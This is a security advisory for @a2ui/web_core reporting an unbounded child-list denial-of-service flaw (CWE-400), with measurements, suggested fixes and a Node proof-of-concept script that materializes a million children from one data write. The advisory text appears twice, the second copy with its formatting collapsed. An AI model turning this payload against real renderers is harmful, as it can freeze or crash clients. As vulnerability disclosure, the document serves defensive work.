Dynamic ChildList templates materialize unbounded children from a data-model array
Repository: https://github.com/a2ui-project/a2ui
Affected: @a2ui/web_core (verified against published npm release 0.10.6)
CWE: CWE-400 (Uncontrolled Resource Consumption)
Summary
A ChildList written as {componentId, path} binds a container's children to a data-model array. The binder's STRUCTURAL branch subscribes to that path and, on every change, maps the entire array into child descriptors and clones them into the props tree — with no cap on the array length. One small component (a Column with a child-list template) plus one data write at the bound path materializes as many children as the array is long. This is distinct from the unbounded component arrays reported earlier in the first advisory batch (F-08, item 1): there the payload itself is a huge component array; here two components and one data write amplify through the binder, so a components-per-message cap does not mitigate it.
Affected code
renderers/web_core/src/v0_9/schema/common-types.ts — ChildListSchema template form {componentId, path} (npm dist v0_9/schema/common-types.js:61-72), no bound on the referenced array
renderers/web_core/src/v0_9/rendering/generic-binder.ts — STRUCTURAL branch: arr.map((_, i) => ({id, basePath})), updateDeepValue (clone along path), notify, no length cap (npm dist v0_9/rendering/generic-binder.js:162-188)
Observed behavior (measured)
Published package, one Column with children: {componentId: 'tf', path: '/items'}, then one updateDataModel at /items:
| array length |
children materialized |
re-notify cost |
| 10 (control) |
10 |
~0 ms |
| 1,000,000 |
1,000,000 |
110 ms (model layer alone) |
Each materialized child is a full child-binder + effect-graph installation in a real renderer, and the whole mapping + cloning re-runs on every subsequent change of the bound path.
Impact
A remote agent sends one small updateComponents message plus one updateDataModel, and the client constructs a million-child subtree (and re-clones it on every subsequent change of the bound path). Availability; freeze or OOM in real renderers.
Suggested remediation
- Cap the resolved child count at the binder (reject or paginate beyond a threshold), independent of any message-size cap.
- Cap child-component instantiation in the renderer layer.
PoC
Prerequisites: Node ≥ 20 with @a2ui/web_core@0.10.6 installed. Run node poc_f23.mjs; on success it prints a JSON verdict ending in "confirmed": true and exits 0.
// poc_f23.mjs — F-23: dynamic child list bound to a server-controlled array —
// unbounded child generation (no cap). ChildList {componentId, path} → the
// STRUCTURAL branch of GenericBinder does arr.map((_,i)=>({id,basePath})) +
// updateDeepValue(clone) + notify with NO cap on arr.length. We measure the
// subscribe-time resolution (rebuildAllBindings), which materializes all child
// descriptors (count read from binder.snapshot), plus the cost of one data
// change at /items (arr.map(1M) + clone + notify).
import {
MessageProcessor, ComponentContext, GenericBinder, Catalog,
} from '@a2ui/web_core/v0_9';
import { ColumnApi, TextFieldApi, createBasicCatalogFunctions } from '@a2ui/web_core/v0_9/basic_catalog';
const CATALOG_ID = 'https://a2ui.org/specification/v0_9_1/catalogs/basic/catalog.json';
function measure(n) {
const catalog = new Catalog(CATALOG_ID, [ColumnApi, TextFieldApi], createBasicCatalogFunctions());
const processor = new MessageProcessor([catalog]);
const items = Array.from({ length: n }, (_, i) => i);
processor.processMessages([
{ version: 'v0.9', createSurface: { surfaceId: 'poc', catalogId: CATALOG_ID } },
{ version: 'v0.9', updateDataModel: { surfaceId: 'poc', path: '/items', value: items } },
{ version: 'v0.9', updateComponents: { surfaceId: 'poc', components: [
{ id: 'root', component: 'Column', children: { componentId: 'tf', path: '/items' } },
{ id: 'tf', component: 'TextField', label: 'N', value: { path: '/item' } },
] } },
]);
const surface = processor.model.getSurface('poc');
const ctx = new ComponentContext(surface, 'root');
const binder = new GenericBinder(ctx, ColumnApi.schema);
const sub = binder.subscribe(() => {});
const genCount = Array.isArray(binder.snapshot?.children) ? binder.snapshot.children.length : 0;
// DoS path: a data change at /items fires the STRUCTURAL listener →
// arr.map(1M) + updateDeepValue(clone of 1M) + notify, per change.
const t0 = process.hrtime.bigint();
processor.processMessages([
{ version: 'v0.9', updateDataModel: { surfaceId: 'poc', path: '/items', value: items } },
]);
const ns = Number(process.hrtime.bigint() - t0);
sub.unsubscribe(); binder.dispose(); surface.dispose();
return { notify_ms: +(ns / 1e6).toFixed(0), genCount };
}
const ctrl = measure(10);
const big = measure(1_000_000);
const ok = big.genCount >= 1_000_000 && big.notify_ms > 50 && big.notify_ms > ctrl.notify_ms * 10;
console.log(JSON.stringify({ finding: 'F-23-dynamic-childlist-unbounded', control_10: ctrl, with_1000000: big, confirmed: ok }, null, 2));
process.exit(ok ? 0 : 1);
Dynamic
ChildListtemplates materialize unbounded children from a data-model arrayRepository: https://github.com/a2ui-project/a2ui
Affected:
@a2ui/web_core(verified against published npm release 0.10.6)CWE: CWE-400 (Uncontrolled Resource Consumption)
Summary
A
ChildListwritten as{componentId, path}binds a container's children to a data-model array. The binder's STRUCTURAL branch subscribes to that path and, on every change, maps the entire array into child descriptors and clones them into the props tree — with no cap on the array length. One small component (aColumnwith a child-list template) plus one data write at the bound path materializes as many children as the array is long. This is distinct from the unbounded component arrays reported earlier in the first advisory batch (F-08, item 1): there the payload itself is a huge component array; here two components and one data write amplify through the binder, so a components-per-message cap does not mitigate it.Affected code
renderers/web_core/src/v0_9/schema/common-types.ts—ChildListSchematemplate form{componentId, path}(npm distv0_9/schema/common-types.js:61-72), no bound on the referenced arrayrenderers/web_core/src/v0_9/rendering/generic-binder.ts— STRUCTURAL branch:arr.map((_, i) => ({id, basePath})),updateDeepValue(clone along path),notify, no length cap (npm distv0_9/rendering/generic-binder.js:162-188)Observed behavior (measured)
Published package, one
Columnwithchildren: {componentId: 'tf', path: '/items'}, then oneupdateDataModelat/items:Each materialized child is a full child-binder + effect-graph installation in a real renderer, and the whole mapping + cloning re-runs on every subsequent change of the bound path.
Impact
A remote agent sends one small
updateComponentsmessage plus oneupdateDataModel, and the client constructs a million-child subtree (and re-clones it on every subsequent change of the bound path). Availability; freeze or OOM in real renderers.Suggested remediation
PoC
Prerequisites: Node ≥ 20 with
@a2ui/web_core@0.10.6installed. Runnode poc_f23.mjs; on success it prints a JSON verdict ending in"confirmed": trueand exits 0.